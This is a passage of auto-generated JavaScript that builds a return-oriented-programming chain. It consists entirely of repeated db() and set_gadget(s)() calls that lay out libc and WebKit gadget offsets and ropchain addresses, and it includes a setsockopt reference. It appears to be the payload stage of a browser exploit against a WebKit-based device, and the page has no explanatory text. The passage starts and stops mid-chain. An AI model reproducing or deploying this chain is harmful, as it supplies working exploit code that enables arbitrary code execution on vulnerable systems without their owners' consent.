+db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+206104, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967295, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+856504, +libc_base+507828, +libc_base+713278, +ropchain+206168, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+206224, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+5236215, +libc_base+713278, +ropchain+206328, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+206344, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+206432, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+206488, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+206560, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+206616, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+206720, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+206808, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+206824, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+206904, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+206920, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+207080, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+207112, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+207064, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+207096, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+207192, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+207208, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+207320, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+207304, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +libc_base+713278, +ropchain+207456, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+207472, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+207440, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+207616, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+207648, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+207584, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+207760, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+207752, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+207776, +ropchain+209536, +libc_base+713278, +ropchain+207832, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+207920, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+207936, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+208080, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+208096, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+208064, +webkit_base+4687784, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+208184, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+208200, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+208360, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+208392, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+208344, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+208376, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+208488, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+208472, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+208592, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+178496, +libc_base+863109, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+208736, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+208752, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+208720, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+208848, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+208832, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+208944, +webkit_base+4687784, +libc_base+768796 +]); +db([65, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([65, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+209088, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+209104, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+209072, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +libc_base+350006, +libc_base+232261, +libc_base+713278, +ropchain+209280, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+209296, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+209264, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+209440, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+209456, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+209408, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+350006, +libc_base+232261, +libc_base+713278, +ropchain+209528, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+863109, +libc_base+713278, +ropchain+209656, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+209672, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+209640, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+209800, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+209832, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+209816, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+209944, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+209936, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+209960, +ropchain+211952, +libc_base+768796 +]); +db([24, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+210064, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967264, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([25, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([41, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+210264, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+210352, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+210368, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+210512, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+210528, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+210496, +webkit_base+4687784, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+210616, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+210632, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+210792, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+210824, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+210776, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+210808, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+210920, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+210904, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+211024, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+213488, +libc_base+863109, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+211168, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+211184, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+211152, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+211312, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+211344, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+211328, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+211456, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+211448, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+211472, +ropchain+211936, +libc_base+388400, +libc_base+713278, +ropchain+211544, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+211704, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+211736, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+211688, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+211720, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+211816, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+211832, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+211928, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+211912, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+489696, +ropchain+211968, +libc_base+489696, +ropchain+211984, +libc_base+489696, +ropchain+206664, +libc_base+388400, +libc_base+713278, +ropchain+212040, +webkit_base+4687784, +libc_base+768796 +]); +db([1, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([1, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+212152, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+212136, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+212248, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+212336, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+212352, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+212456, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+212440, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+212512, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+212616, +webkit_base+4687784, +libc_base+768796 +]); +db([1, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([1, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+212728, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+212712, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+212824, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+212912, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+212928, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+213032, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+213016, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+213104, +webkit_base+4687784, +libc_base+863109, +libc_base+713278 +]); +db([8, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+213240, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+213224, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+213344, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+213360, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+213480, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+213464, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +setsockopt_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+214808, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+214880, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+214944, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+215096, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+215112, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+215232, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+215216, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+713278, +ropchain+215296, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+215360, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+215448, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+215464, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+215544, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+215560, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+215720, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+215752, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+215704, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+215736, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+215832, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+215848, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+215960, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+215944, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +libc_base+713278, +ropchain+216096, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+216112, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+216080, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+216256, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+216288, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+216224, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+216400, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+216392, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+216416, +ropchain+218176, +libc_base+713278, +ropchain+216472, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+216560, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+216576, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+216720, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+216736, +webkit_base+4687784, 